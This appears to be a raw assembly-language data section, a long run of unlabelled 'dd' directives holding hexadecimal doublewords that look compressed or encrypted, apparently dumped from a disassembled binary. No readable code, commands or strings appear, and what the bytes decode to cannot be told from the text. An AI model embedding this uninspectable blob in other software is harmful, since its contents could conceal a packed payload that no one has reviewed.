		dd 0DBCEBE2Fh, 0E0363838h, 386429F8h, 0FCC74909h, 0A189D083h
		dd 943095A9h, 8C334848h, 27A6913h, 71B2D2B8h, 858AEC82h
		dd 6860B462h, 0B78324Bh, 63748EAh, 808C7091h, 0D08E2469h
		dd 5010C90h, 0C6078538h, 0B1E2D237h, 988A0984h,	98A68B02h
		dd 3602B38Dh, 4944ECDh,	0D1809094h, 16C8810Eh, 6E2C241Ch
		dd 0CC70E163h, 428029DCh, 885A8E2Ch, 0C16B1C44h, 20CB7600h
		dd 3A4812B0h, 0C3490918h, 0C9008219h, 3B74417Ch, 0CCF204Ch
		dd 0AFB12DF5h, 6F245698h, 46141CCCh, 0FAA90D9Ch, 39CDE03Ah
		dd 15A54820h, 44C87498h, 0F4FD6780h, 48C2BD13h,	4CA25B6h
		dd 130CC5F2h, 2DA049B0h, 0CAE9E004h, 0E3010264h, 3260FBBh
		dd 400A3896h, 940405D2h, 0F9195BC0h, 3CB54DD7h,	9AC6824h
		dd 0F4021FD2h, 60405FF2h, 0B2623492h, 4060C218h, 0A1EB6244h
		dd 8C24468Ch, 16C8B018h, 0D7D0592h, 0E0182CB4h,	28C88936h
		dd 6D520B9Ch, 59E9F402h, 14698881h, 26D46058h, 2E44A34Ch
		dd 5F880801h, 8746094Fh, 91D1E485h, 208ABFECh, 0CF583928h
		dd 1FB70BCCh, 2FD01636h, 0D4707001h, 7AD68080h,	4FC09050h
		dd 0B8F4E1E0h, 0BE241CB2h, 0FF12A096h, 8A9800Dh, 22020C4Eh
		dd 76692FFCh, 0DD36BC60h, 0DE3AF8B2h, 0C1C05268h, 4BA8766h
		dd 0F1160424h, 1822E3D1h, 542698C0h, 7680B279h,	0D3A20961h
		dd 14812AA9h, 8989E872h, 56E18F0h, 20333CB0h, 94329183h
		dd 9656698Ah, 0DBC909ACh, 2D0F2C1Eh, 82B24F08h,	0AFB6D603h
		dd 70DE02D0h, 0DC7CB8BDh, 2E8C01FDh, 96D602D9h,	4BC871F9h
		dd 616A0024h, 0DD8B0DB6h, 73F628EDh, 355230DCh,	8CF14990h
		dd 0FC5CE9E8h, 2B767CA8h, 1A33DEC4h, 0C603F08Eh, 3F9E2807h
		dd 9B49A871h, 0C1540228h, 0C0F4F2E5h, 0BA39E9F8h, 958C2808h
		dd 705F4CE8h, 0A17E3C74h, 78F7597Ch, 2CE06A24h,	7E42ABCh
		dd 85E76BAh, 70045989h,	1904A03Dh, 98E9DC9Ah, 0B220E8E9h
		dd 60256634h, 1226180Fh, 9A98C009h, 0E9236419h,	683057EDh
		dd 51E9075Bh, 81983BE1h, 87AD84F0h, 2B546408h, 23552482h
		dd 44E034EFh, 0A4F832B1h, 6C800878h, 7DAE80ECh,	0EFF10082h
		dd 0E8AD1384h, 0D84F01C4h, 6455A6Ch, 42BE60E2h,	79E7CB48h
		dd 0E03E7BE8h, 219B0E0Bh, 3C3C9F0Ah, 0DDB84A08h, 0DE1BCB06h
		dd 0ED6F3809h, 15618608h, 1C18F410h, 0B0599BE1h, 0EF80C150h
		dd 0A876E41Dh, 0A64EA406h, 84494008h, 0E1009279h, 0E211347Bh
		dd 0C05DF41Bh, 6CA20450h, 29402A9Ah, 18CE740Ah,	3039171Bh
		dd 0BBF8C1F1h, 0FB187560h, 0F0CBFA52h, 78B666A0h, 9B14589Ch
		dd 38A4288Ch, 0C2F8F82Dh, 0E0A82E50h, 64EFAA06h, 0E610185Ah
		dd 29A4A07Eh, 31E4F035h, 45183311h, 87C4F0E3h, 0C8B8EA50h
		dd 3A7F5D00h, 7A829D6Dh, 59A30799h, 41A0ED44h, 8F9FC064h
		dd 7E769C18h, 0CFE92103h, 32D1F82Ah, 0FE256h, 0D2F18E0h
		dd 8AC3E8FAh, 149BCB2Bh, 5A7C6800h, 0DAE1807h, 4B66C8E4h
		dd 9A1418F8h, 259ED324h, 28E4AD00h, 0AECBBA1Ah,	0A141EF14h
		dd 50801A8Eh, 0CBB89908h, 0D3521CFBh, 24CE8218h, 0BFE3D8h
		dd 0B5C46858h, 0E2F63BCBh, 403AA4A1h, 14E8DBD8h, 314898F3h
		dd 0E946F018h, 0C55445F0h, 9335510h, 502308C4h,	3001063Ah
		dd 0DA821985h, 0BBE0EBD4h, 164829h, 7F081571h, 388E487Ah
		dd 68DC87A3h, 1E48C00Ah, 0DD05F8D5h, 1453D2AFh,	4EAEC03h
		dd 0A828256Ch, 6A5BE081h, 0B70889E5h, 0E81C03C3h, 57C0240Eh
		dd 87440A8Ch, 0D91A0ADCh, 0E4A407E4h, 123A8230h, 19B64498h
		dd 12A70822h, 14E18688h, 0E4400D4Ch, 603463B4h,	18327C44h
		dd 40A8615Fh, 0A01E24C4h, 50F66484h, 7F5EA893h,	1AC42971h
		dd 4DAC8134h, 21E475h, 0A0C2CAE8h, 0A01743A4h, 0A065D294h
		dd 0E13C1E0h, 0EECFA7Fh, 18F3DA83h, 2814C829h, 651C7681h
		dd 0C80117E3h, 0E45B036Dh, 9AD09B00h, 0A8A5BA82h, 0E69CF601h
		dd 280119ABh, 0F084C6C0h, 0BB008247h, 0C406E5C2h, 0DC857802h
		dd 80D4EE81h, 24203B65h, 10205308h, 90DCA800h, 0F99D09CBh
		dd 0E060687Dh, 447B2160h, 0ACA129A4h, 0C030148h, 70777AE8h
		dd 6330483Ch, 14FCC8E7h, 0BDD8A57Fh, 0BD757306h, 0A83F600Ch
		dd 0DBCB8990h, 0DF60226Bh, 30F44276h, 5CEBB67Ch, 1272933Ah
		dd 24C88F9h, 7F779B98h,	0EDE76440h, 4C1BE8A1h, 1D08B238h
		dd 9208A7Ch, 0C802F8E8h, 0C8615E1Bh, 3CC4AE4h, 769AB646h
		dd 0C8680CC5h, 0DFD04BA2h, 80859C98h, 110BDE81h, 3084B9E9h
		dd 0C3C64B28h, 68137878h, 5C066DBBh, 23700E44h,	0B2851204h
		dd 20050573h, 84056C08h, 0C81225Bh, 0C820D144h,	7B54AC1Bh
		dd 830C15E5h, 811AD43Fh, 8014A850h, 92EB1A04h, 480210E5h
		dd 1494579Fh, 0EE68221Dh, 0A8260B10h, 78DB95D4h, 955D3E80h
		dd 28C4118Ah, 0A480A288h, 2E39B3CAh, 75F528h, 297AAA4Dh
		dd 0F900E42Ch, 0E8988F11h, 866873h, 26565D64h, 0CB6CEBFBh
		dd 879C130h, 0F06F85C6h, 708D740Dh, 951006Bh, 0E96566DEh
		dd 691E7882h, 1143C6DAh, 0CEC7024h, 7C080B40h, 18A69208h
		dd 4DBDAF00h, 2478426Ah, 7C7E50h, 1523CF2Bh, 8C6F4B6Ch
		dd 4FD9008Ch, 45F14807h, 9E533024h, 1B007C28h, 0F5AE04A0h
		dd 0C701024h, 0CAEF2BA4h, 9D506F58h, 6E316BDEh,	7ECC08B3h
		dd 7CB2E9E3h, 99F1E600h, 4474A9FEh, 822DAE0Fh, 0EB200784h
		dd 0EA8FEEC1h, 6418A3h,	0A126F80Eh, 2403EBCEh, 2B1199F0h
		dd 1858AE2Fh, 707F3ACBh, 0EFC2C9Ah, 8231431h, 508978DFh
		dd 987ADFAh, 0CF8417BEh, 0F9F806Eh, 2B856A27h, 0CE847061h
		dd 0CD636D60h, 4C46D071h, 0E8624960h, 5098014Fh, 0FB00FFC5h
		dd 278CDB7Ah, 0A04C21B0h, 147DE48Ch, 1893AB6Ch,	7E1295C0h
		dd 60C6C8F7h, 85C8F390h, 537981F8h, 0DE2ABE39h,	14582006h
		dd 0F808646Fh, 0D87BD7E1h, 88C1CBD0h, 6272C250h, 7FDA405Ch
		dd 0CD3320B8h, 0AF5E3014h, 14952990h, 0C1DA1981h, 508DCD46h
		dd 1C288B10h, 470C0F54h, 28DC504Bh, 39A515F0h, 0F1C05062h
		dd 0C1E2AC97h, 0C8A3D080h
		dd 7050EB28h, 86343079h, 757AB0F9h, 0BC8B6229h,	44551F40h
		dd 28D26132h, 4A713C90h, 1EE60078h, 0CEF00A3Dh,	8DBF0054h
		dd 0AC9AAF4Fh, 5100BA9Bh, 265A3C58h, 5C2B44EDh,	550F2D53h
		dd 0BDA5C8DFh, 0BB1460FAh, 0E890EBC9h, 407F50CEh, 0A1ABD9Bh
		dd 24F40064h, 652A2ED3h, 0C5E83689h, 0FC3C13Ch,	84926EE5h
		dd 770AD05h, 0D1006A99h, 9F54D031h, 30BDF85Bh, 0DA58C69Ah
		dd 8C6A639h, 350BAFBh, 4F46179h, 25C0BBE5h, 85F8BF1Ah
		dd 105D4231h, 898C278h,	3145786Ch, 7D38D152h, 0A9A3DD08h
		dd 7E82393Fh, 0A17AAF0Eh, 52DE4C98h, 0E9451030h, 0CA88045Fh
		dd 6014A080h, 42CC631Bh, 0FF504561h, 8094C6CAh,	83DD14AAh
		dd 0D60E570Ah, 971F5001h, 35A4F446h, 1852504Ch,	51C2EBABh
		dd 0F65241BFh, 1DE8803Ch, 804F69A6h, 0FF5034DFh, 0AD504BBCh
		dd 8C23DB4h, 629C5145h,	0D483059h, 942230DCh, 0CF997F69h
		dd 211DB8C1h, 9C4A95CAh, 67F1473h, 0A480D4DBh, 0CE449BD8h
		dd 3ABD5015h, 7B658030h, 97FEF6E8h, 9E1576D8h, 0C1789B25h
		dd 0CE3E7978h, 755FC851h, 0BDAE9D10h, 0B2605491h, 0C0DC7E86h
		dd 0CE5FF89h, 2C911AAFh, 0FBC06D41h, 18D9CE80h,	4731019Dh
		dd 0D3C5C200h, 752B575Ah, 9AE600BAh, 7356FE33h,	7D021F2Fh
		dd 2255B791h, 0F0149BC7h, 63AFB2BEh, 0F7DD504Ah, 28A2282Bh
		dd 80887409h, 18DAB070h, 28A065BDh, 54286002h, 697D537Ch
		dd 1D1F2E00h, 22EA2C82h, 0C208C1E5h, 5CFFD6D3h,	430CF844h
		dd 3819AF70h, 288E63FDh, 313872A2h, 74EAAB89h, 0CA403B81h
		dd 38801852h, 475B715Dh, 0DA523262h, 2FCE0614h,	0E8993DF7h
		dd 0F4940078h, 0F8B225C2h, 2F0AA6E2h, 1C3642EAh, 0CD2D2660h
		dd 0F89D8931h, 0C205F84Bh, 15CA0C92h, 284E1860h, 8A750DDh
		dd 908B66CCh, 411809B9h, 751040C4h, 0A0A13C46h,	94FEF80h
		dd 0F399D580h, 256BC300h, 4AF1B7E7h, 36BD2407h,	0CA40080h
		dd 612A214h, 349040C0h,	58F740BAh, 9C0FFD55h, 4C8F86BBh
		dd 0AA260F00h, 59060C58h, 0A62C493Dh, 71EF881h,	640ED3B6h
		dd 15D570F9h, 0C7E6FCD0h, 1D3BB100h, 3C2E9985h,	0AAC118F3h
		dd 0BCFD38CDh, 0EE6BB700h, 65E1892h, 444D0C9Eh,	0DC59B5C3h
		dd 0F2894C00h, 0F6408414h, 9CE074h, 0B32E578Eh,	3EEA64BAh
		dd 0D5F4C9EEh, 0D3D9B203h, 0C8144Ah, 0BE220341h, 1B8C167Eh
		dd 0A41E05F2h, 0C88068E1h, 41762CBBh, 886B00EDh, 0EE102E2Dh
		dd 0C03B3085h, 0E53E34h, 0EC546E69h, 393303h, 605241E2h
		dd 0CD086A98h, 261FD200h, 5FEFF0B0h, 32D00C84h,	0E568BC17h
		dd 89FDE904h, 804576h, 0F888799h, 0A544850Eh, 91DFC066h
		dd 3163B600h, 729D7C4Ch, 8EEF00F9h, 498F5822h, 0EA1F99ACh
		dd 0FC5F028Ah, 3DF20943h, 4138000Fh, 7052E3ECh,	2E038235h
		dd 5D2050A6h, 18F9A0A3h, 0D44B0041h, 197D158Ah,	53009491h
		dd 9B26CD88h, 1D127F79h, 0DA969Ah, 585A6F85h, 4D078248h
		dd 0B4FFE0D1h, 0DAD26E30h, 27BC0FFCh, 400F7330h, 1372D404h
		dd 10AE500h, 504EE09Ch,	0B2081Fh, 0F93B54DDh, 37B1F27Ch
		dd 0B05F0E00h, 10CE3AEh, 54DF0718h, 608F1D9Dh, 2B635767h
		dd 7D9F3600h, 4B52BDD7h, 301732Ah, 5509F8C4h, 18C62533h
		dd 5057751Eh, 4A9D8940h, 0E16BC7h, 613522A8h, 2129A43Bh
		dd 484F1438h, 0C607D11h, 63F7EA39h, 768B7192h, 0F8291EB5h
		dd 210E9AB0h, 56AD9420h, 0AB0ED144h, 83633F24h,	0F3312EA5h
		dd 305E887Fh, 7DB516FEh, 3917F8E0h, 46DA8090h, 0DC149608h
		dd 247328h, 0CDDD832h, 0D4E4E8BAh, 0AEDEEB01h, 361C5361h
		dd 643AF8h, 71C8457Ah, 935FD72Fh, 697B8E07h, 0C300A339h
		dd 3AE0E4Fh, 452942C0h,	0B0D7A4F3h, 0E966ED16h,	8095CE00h
		dd 0F6427D64h, 0F3BC00D1h, 0FB131425h, 0A4989D90h, 4EB68900h
		dd 278E0C45h, 0B4110353h, 0B719DFF2h, 8992CEA0h, 65B69E00h
		dd 0CE1AB60h, 7963AA9h,	0E821C430h, 7A00B4B0h, 324C425Ah
		dd 0DBC071h, 9D63AEFBh,	8AE7A992h, 1618E67Dh, 9B0AA4B7h
		dd 41860E11h, 1424B60h,	0DA433105h, 7E52EEE0h, 3C39CE63h
		dd 0A509F8B0h, 6D4C14B3h, 0E630D486h, 9CD637F9h, 0F3E1E300h
		dd 531A5C1Dh, 0B6F003Ah, 12EFC86h, 4200D075h, 4AC36A95h
		dd 0C7E067ADh, 900CC060h, 0AE10F75Ah, 96EE71Dh,	66CC9680h
		dd 3ACFBBBCh, 0E130194Eh, 0DA43D21h, 0B708AA00h, 6E3655Bh
		dd 0D3390048h, 0A5F2B52Fh, 33603F53h, 0A8B2D7A0h, 8E6AC041h
		dd 2803B15h, 80B6D938h,	86C0A4FDh, 0D60345h, 88ABB49Bh
		dd 0E379CEA3h, 2104E200h, 29C42063h, 6CF301C1h,	14EBF769h
		dd 574FCCE0h, 0C7059E1Dh, 0C02558CFh, 17CEA55Ch, 42B100C2h
		dd 236DEC76h, 3404506Eh, 0DC4E1E87h, 6F207EC7h,	3A89ACh
		dd 941A100Ah, 0DEC9D2AFh, 0DA959300h, 2711CFB2h, 5EF501D8h
		dd 8AA0C889h, 956AC0A5h, 4FF204A6h, 8A366D15h, 0B6D2ED0Ch
		dd 0E52A0030h, 712C8780h, 0E2E4E07Eh, 0ECB8C00Fh, 0AA1583ACh
		dd 2619106Ch, 2F4885E5h, 0CEA180Ah, 0D2C2D090h,	4322CDAEh
		dd 52D61136h, 0A88CD430h, 24A95E19h, 820C51C0h,	8C6009D5h
		dd 0A19C870h, 11C1AA62h, 6F30504Eh, 72897560h, 0CA8640Ch
		dd 0D3442676h, 37634271h, 0F00317Ah, 0E0B3F70Eh, 93D51C2Fh
		dd 14751D51h, 4480A81Fh, 0F6983997h, 9E648702h,	0A7B3FF19h
		dd 0EEA8B8h, 1A336EB6h,	0E796FA75h, 0DFE3398Eh,	4C3EE00h
		dd 36006A86h, 0ED6C8943h, 0F8AFC6h, 19802874h, 68FFCC75h
		dd 863FE400h, 506A6C98h, 0F6C738DCh, 0E870B130h, 950073D9h
		dd 0EB4CCC4Ah, 2CA162Bh, 0EDBD6977h, 4C80B3A6h,	0C011948Ch
		dd 0CA3CA47Fh, 3D370330h, 0BB3BBBAEh, 61ECB080h, 60F207EDh
		dd 0C0DC7211h, 5CD2B7FEh, 0A1E11C2Eh, 3DB6BE38h, 148F9E05h
		dd 7AD9C9C1h, 11F0EE9Eh, 54510A5Ah, 0E11C3752h,	0E04A2FCh
		dd 0C051531Ch, 849C7054h, 1201ED29h, 4AF096F3h,	6EE0A518h
		dd 0DD100E51h, 938CF12Ah, 8C7C22C8h, 0D4B6130Ch, 0FE6858h
		dd 0C46FEEB3h, 0F021A682h, 42299560h, 5477ECh, 0FE32462Ch
		dd 0B438C7FAh, 5F00E2E2h, 5C04E153h, 0A6011A0Ah, 6495005Ch
		dd 4C38BC3Dh, 9A003098h, 0B02090C7h, 0AC27Dh, 17A08022h
		dd 5CE83B3Ah, 29307200h, 20A28F01h, 73D181Dh, 32DE89E1h
		dd 8E997600h, 0FC6F68F3h, 2FDA012Ah, 3B2958BDh,	322980E3h
		dd 0EFC05C20h, 6F6B068Dh, 0B0CAACFBh, 5E2CCC10h, 0A23C8E8h
		dd 1B8A509Dh, 0E0814CA5h, 0EB8E2C99h, 1ED6830h,	5724B3A1h
		dd 401A5834h, 37F14B4h,	0BAA43612h, 0D4943005h,	0B140E018h
		dd 151E74F0h, 0CC9617A9h, 28B81400h, 0A787F552h, 2C1D8300h
		dd 93A1BF45h, 474C0030h, 0FD542ACBh, 6C0032C7h,	57905D3Fh
		dd 3CFFBBC8h, 6F34AB1h,	676EA948h, 0A3E82829h, 695D2A00h
		dd 0F217FB89h, 87EE00D7h, 5FA51CF9h, 220763D5h,	0B823755Dh
		dd 91312B80h, 30A3F05Ah, 2414E8Bh, 0EA0C25FAh, 50B2361Bh
		dd 0FC40075h, 0F4C83238h, 0BD28297Ch, 0D900E288h, 0B7D76EB4h
		dd 6C86A9h, 67BEE2FFh, 0F5DBBF40h, 89A33700h, 269432DDh
		dd 0E6D40378h, 2BFA6C75h, 0AAF75800h, 0D96CA5Fh, 1F3075E9h
		dd 0C03E78A5h, 918E15A2h, 0E1043A20h, 7902E76Ah, 0BAADB180h
		dd 5DDE0509h, 2A8576E3h, 24BB8644h, 0DDA30108h,	0CE4CA7A8h
		dd 2B6ECB7h, 0E9E04D07h, 17068E2h, 0DDF6FCh, 9C9707F7h
		dd 422E0ED6h, 16009AE0h
		dd 9F9B6AFDh, 228701h, 0AC047ED0h, 0F407C13Fh, 7BF2643Ch
		dd 9D479D3Bh, 59003D94h, 0DB383A0Dh, 6076FE3Ch,	16A39107h
		dd 0B7052F05h, 6E0A7F6h, 0AC6E9400h, 0AED77CE1h, 0B8370184h
		dd 0D61CC2A1h, 70A047AAh, 0DB793A39h, 720D4C00h, 16E53202h
		dd 442600E3h, 43B76173h, 0BF02DA7Fh, 352F2B96h,	0A442D73Ah
		dd 512A08A1h, 5EA9C4FDh, 72A9A4Ch, 2D1E6A3Eh, 1208D09Ah
		dd 49B74063h, 6B0094EBh, 2F719F28h, 24DF1FD2h, 0FE646367h
		dd 2783F42Ch, 0B7330600h, 9FC238h, 0A5CF5489h, 43BF8855h
		dd 900B478h, 4C8E246h, 481E9F5Dh, 0AF50F6h, 8EFD5E69h
		dd 244A8A49h, 4004E530h, 231BD352h, 9005D6B8h, 351881Eh
		dd 5CC1FC2Ah, 851CB2E2h, 55A4D7C8h, 256BF420h, 298873A0h
		dd 0C080F46Eh, 7CC168B2h, 0AAD84091h, 779DF2Ah,	2DD3E15Fh
		dd 72C41CE0h, 170190A6h, 1A4A228Bh, 208C11B3h, 0FB103A81h
		dd 8F1E14F7h, 0C341CC1Bh, 91101184h, 0C9092C03h, 71611022h
		dd 0A663FD10h, 16B6F0E0h, 0E85D26C6h, 1D3A0078h, 2052E748h
		dd 0B45C0063h, 90127860h, 40928EA5h, 0BE4EBC03h, 368F52h
		dd 3B47C2D0h, 2C942E9Bh, 38CDCB02h, 817DB66Bh, 4DC6D99Ch
		dd 0C40A112h, 574D711Fh, 67990000h, 7EAFB001h, 156939A4h
		dd 33D20981h, 0B0729C30h, 7B70E248h, 51543607h,	0D400A8C9h
		dd 812B99DEh, 0D2F60312h, 0A41201A0h, 50B9F448h, 32E36CE4h
		dd 5D98C554h, 0C290E449h, 0FDFBEFD3h, 402F5605h, 0D0BE2AD0h
		dd 0AF1AA727h, 28B14FF0h, 0FF04D0h, 1231BBBDh, 640B0AAAh
		dd 80DDD106h, 3A307DBh,	0A077FAF3h, 484B75E8h, 787CC08Eh
		dd 1047421h, 4ED75A78h,	5B48D525h, 4C4A2934h, 60C89C70h
		dd 4D4A68C9h, 0CE013B81h, 8F63C4E0h, 0C703085h,	0FEB9F84Ch
		dd 18B6616Ch, 11918BC5h, 49084EC7h, 0A7183350h,	1168E522h
		dd 2A8E4DE1h, 0FD2824A6h, 64280C44h, 0F91118E8h, 162A90C7h
		dd 9D752824h, 142C430Ch, 2A488951h, 0A5280C07h,	1B43186Dh
		dd 0BA21867Bh, 15AC26F6h, 51B22490h, 4AD554A5h,	880C4818h
		dd 8B446FB1h, 90984D32h, 6C44C9CCh, 0B18A9C1h, 0A8DDC04Ch
		dd 0A0B3DE78h, 81325918h, 9268F03Eh, 648065E2h,	199162A3h
		dd 0D01099B8h, 8A5880A1h, 0DBA99004h, 0A4D0F850h, 26C28CF5h
		dd 90C146h, 0BBFDB337h,	53242F70h, 0A304E8FFh, 4C801130h
		dd 98A35E8h, 0A8CCC4D1h, 5FEF2410h, 0E0030218h,	54A0D4E8h
		dd 10DDB0D9h, 3EA383Eh,	0C10EB1B2h, 424398D4h, 22EB03FBh
		dd 0E927A30Ah, 771DA11Eh, 0EDE26803h, 2E600CA5h, 0A8897BCEh
		dd 0BEA65618h, 28067EA8h, 92013Eh, 9E7503D4h, 0C079E291h
		dd 54401CA5h, 768AD10Ah, 58A85097h, 64820FFCh, 6C010ED5h
		dd 80784ADFh, 0E5622D50h, 182F5321h, 585C87CEh,	520B648Ah
		dd 245A7A7Eh, 3382E980h, 0FD74C081h, 0C82D5410h, 1939F0D7h
		dd 507BF2DFh, 0F3208E07h, 27C2E585h, 3A18141Dh,	42A88D68h
		dd 0E6D10033h, 0D4985BC8h, 0DBBE01F0h, 2E43B97Ch, 0D1F42038h
		dd 0AAE26C10h, 67477300h, 817FE425h, 79F4A900h,	0BEFC9B34h
		dd 0E3F60CE1h, 9AB89F2Dh, 267E7D40h, 1F302BB4h,	2E0C02Ah
		dd 6997CB6Ah, 5E5F1406h, 695A60h, 4B19F88Ch, 0A8C280CFh
		dd 0D0197362h, 3A688316h, 21807545h, 186082E6h,	2C159D8Dh
		dd 50563Ah, 69082795h, 3F002D41h, 0F7D6127Bh, 1B359EF6h
		dd 98A1C384h, 1010F5F3h, 247375FBh, 6600180h, 890A6292h
		dd 81BD7A03h, 0CF278739h, 0B019DEC6h, 54120114h, 86507CFEh
		dd 0AB5C203Bh, 2456CC2Eh, 0B20A9F9Fh, 530E8873h, 6BBB4327h
		dd 0FE52B013h, 9531DE2Bh, 87DE846Ah, 16022338h,	83072985h
		dd 0F0D5607Ah, 0BCE1B6C0h, 2518C0FBh, 626485C8h, 24F04A4Dh
		dd 4C637CC2h, 42FFDA71h, 0CD62C094h, 12A7705Dh,	416BBD3Bh
		dd 82DF6DA0h, 5A885014h, 0A0C02102h, 9BC2BADAh,	80F67845h
		dd 6038427Ah, 3A6714ADh, 0FB3CCBh, 0FA9EDF05h, 12D4DEF7h
		dd 39B521Bh, 6C2E6254h,	0E07BF8B0h, 0EF6A810Ah,	0DF008002h
		dd 84F72750h, 6DCB23Ah,	1FFC70E3h, 95035266h, 0C3A879D1h
		dd 934018F1h, 822D29BFh, 0BBA0E360h, 267EA001h,	88088E5Ah
		dd 0FB00E94Bh, 25E526B0h, 0DCD15CE3h, 0F16CDB05h, 0BD9802F7h
		dd 0C8A079E7h, 0BE5251C2h, 76E9C664h, 0AB0F086h, 0BFC08359h
		dd 70C65130h, 2352356Ch, 0D7921030h, 26538A09h,	76F96468h
		dd 7E054892h, 0BFF2607Bh, 7F0378C0h, 7F9F405h, 7DDB35BDh
		dd 0D0203450h, 58F4AA9Ch, 4FA1711Ch, 67B7BC84h,	0BF10D8h
		dd 7FF85E44h, 0F2827638h, 1270A848h, 645D4F84h,	28E18B8Ah
		dd 8A38A500h, 0E8F1375Bh, 50780995h, 2498FABBh,	4D009FDDh
		dd 6BCB43A6h, 790D08Eh,	1E038AF5h, 85FF0A8h, 0EF1EEB57h
		dd 17ED35Eh, 8EE1AF72h,	8C32A632h, 0C11888DDh, 67614E81h
		dd 5022B362h, 0C041A6CEh, 36ABEFA9h, 3053036Ch,	0A7DEE195h
		dd 385F60CEh, 17673B9h,	9CFF2761h, 0E86CAB48h, 5FECA303h
		dd 0CB93A70Fh, 0AAF36419h, 484C2CB2h, 0C8364EA1h, 0DA3972B4h
		dd 0D2D13A4Ch, 550D0DECh, 0E5D93149h, 0D3A85841h, 2CC91D10h
		dd 0E8C0E47Ch, 5C7EEFAAh, 0EC0A5057h, 38A82ADEh, 4BAF01F8h
		dd 726BD9E0h, 6E82C95h,	0F61BBB21h, 81270520h, 40D24912h
		dd 33744584h, 5528733Bh, 60EE180Ch, 8B207E89h, 1CD4B8F3h
		dd 585204h, 0F819EE2Ch,	0F00E470h, 6C48F2A7h, 462BFE9h
		dd 5B963969h, 0EE7C8140h, 4632F061h, 1DA0FD00h,	0CDA51875h
		dd 340D223h, 13B2ADF9h,	0A63C5178h, 8BC29C2h, 9980A391h
		dd 42780F70h, 988A9A3Eh, 3408ACFCh, 4E720C57h, 983028B7h
		dd 1E369D00h, 118A6C85h, 319A18E7h, 5399169Bh, 2D006370h
		dd 7ED72EDBh, 0D12B427Fh, 0B7010469h, 757A9603h, 19BC1Bh
		dd 0CF45F4C2h, 0BF15C6h, 246C0CECh, 0EC16ACEh, 81901230h
		dd 98F3DF5Fh, 1B78C4h, 0FA39C24Ah, 6E15CF94h, 4B882E00h
		dd 0AD7BE56h, 0FC1400CDh, 9C16D13Fh, 62304E0Eh,	42CA8941h
		dd 48A61C36h, 95168080h, 4EA8F1D3h, 0AA7AF8C5h,	0D000C824h
		dd 0A6543B79h, 0AED8041Bh, 3C7D7CAh, 0E6C3027Ch, 294909C9h
		dd 0E20554FCh, 42280060h, 0C21DBE4Fh, 78CD933Ah, 11D68F30h
		dd 1A9989h, 0B31E639Bh,	0A920DAF3h, 1DB730A8h, 2FA5B1C5h
		dd 792C4807h, 9CE9AD80h, 7D974CFCh, 7830FF30h, 0DAF2AF4Bh
		dd 0E0988A55h, 749D216h, 40C1181Ch, 42D151h, 812CCB39h
		dd 9BC75448h, 7302FD00h, 37A74DF9h, 0D82954F3h,	874500BFh
		dd 36E8E6EFh, 0AF079622h, 62EE826Bh, 28A369CDh,	45F06C04h
		dd 0EF0B7812h, 0FD757C07h, 2014F0F2h, 0C5DB9CCBh, 0DE559A0Fh
		dd 83D0CA7h, 8221C0AAh,	60A0DBA3h, 0EC09CD03h, 0AFD8242Fh
		dd 0EE0065C5h, 6E27A27Bh, 9FAB4C8Dh, 15520307h,	0E9480091h
		dd 5B00F1F9h, 0EE89B258h, 30EDF8F3h, 39A11886h,	807D54ADh
		dd 0FD967705h, 880DFC9Ah, 0CBC821DDh, 7A810054h, 0F3C2A91Fh
		dd 59C2803Fh, 811A2064h, 7154BA24h, 869BCFD4h, 0FA7320h
		dd 9C57B45Ah, 24ADB7F7h, 5CA71006h, 7219565h, 0B6724390h
		dd 61E7100Eh, 46499A83h, 67CC13ECh, 1F40D700h, 7F1CDCh
		dd 0B93D64DEh, 96134FF0h, 188BEC48h, 0E9114AEh,	91AF0058h
		dd 0BC86978Ch, 85748713h, 81C7624h, 0A40C8D00h,	0F22494h
		dd 0B5ABD869h, 417A529Fh, 50827131h, 0FD0C9A9Eh, 8C10AF7Ch
		dd 98C483CFh, 0F1880007h
		dd 16521FA4h, 3D679Dh, 1596B0F6h, 0CB0021C1h, 396A417Bh
		dd 0F6D0B2A7h, 2078490Bh, 0AC66C840h, 54C41FA4h, 9A1F486Fh
		dd 0EE211166h, 47570F79h, 0B2E0A20Fh, 52AC42F9h, 0F8349528h
		dd 0CE74C749h, 84D8743Fh, 0D93021A1h, 97EA7454h, 0FCFC5C29h
		dd 579E2F40h, 0AFFA01BEh, 0DF55C833h, 3078128Dh, 45125716h
		dd 20386F15h, 571B000Eh, 46DF3998h, 0C892E8A3h,	2179D809h
		dd 0ACB8040Bh, 36C4AC1h, 28BCC088h, 22431807h, 4816F042h
		dd 0B19484h, 0BF20C2F5h, 0AF67C560h, 0BC440FDh,	58C03F0Fh
		dd 0D54A4454h, 79DF619h, 0ACE3B845h, 69E4E0C8h,	6AE63A7Dh
		dd 83B2AF03h, 3C1F42CBh, 0A009FCA8h, 0ECA2B059h, 0A49162FDh
		dd 518EECD8h, 1F239B00h, 0C85606D9h, 28D3752Ah,	9E8B7AFh
		dd 13F53DABh, 0F32614A0h, 704879A9h, 0AFAD1024h, 62A532C3h
		dd 0C855EF9h, 0D389C03Bh, 0DCABAFF9h, 54081803h, 0E2A8590Ah
		dd 0B41C6024h, 895628D0h, 9897E0F4h, 21AE096Fh,	2897EE88h
		dd 0B080E611h, 0A6C2B927h, 0E4AC2300h, 0BF8C684Eh, 5887C63h
		dd 6B399FFEh, 0D4C80D1h, 0AB0E902Dh, 80F7EBC9h,	17C34833h
		dd 644512B1h, 84700ACCh, 0C97805D4h, 52ADC015h,	0E5987ED2h
		dd 3BE34A00h, 6483BB86h, 89826365h, 9FB8E1F1h, 2A019CBDh
		dd 0E7D228B3h, 68D64283h, 1A1A8A0h, 66F2A68Fh, 20403A0Fh
		dd 0D754A318h, 4A1F0C98h, 0B5809F70h, 0D2E65BCEh, 0B8BA0EFDh
		dd 6F00E1EDh, 636EF255h, 145D7800h, 6A203399h, 0CC0A002Ah
		dd 269B9D72h, 29008A17h, 0E7C9D412h, 1E942C90h,	0D7D54Bh
		dd 37872D2Ah, 0CC008AB8h, 8861710h, 536206h, 25981369h
		dd 0D2E0EB5Ah, 26E9D700h, 7D335D99h, 0EC680EBCh, 0BD80BB6Dh
		dd 32D7D1B2h, 419EEA00h, 0DCC9175Ch, 394D0055h,	74151226h
		dd 0BA792ABDh, 463FCDF6h, 766F000Eh, 0CB29968Fh, 0E03F001Ah
		dd 3314E23Eh, 0FB784585h, 0C3FE7F03h, 0C16122h,	0EE02B2C1h
		dd 62DCCB2Eh, 0E2A3E10Eh, 21B18C5Eh, 0E02400F5h, 2607465Bh
		dd 591FC704h, 0FAC6BA2Dh, 30C8E7DCh, 0C9B02EB4h, 56000182h
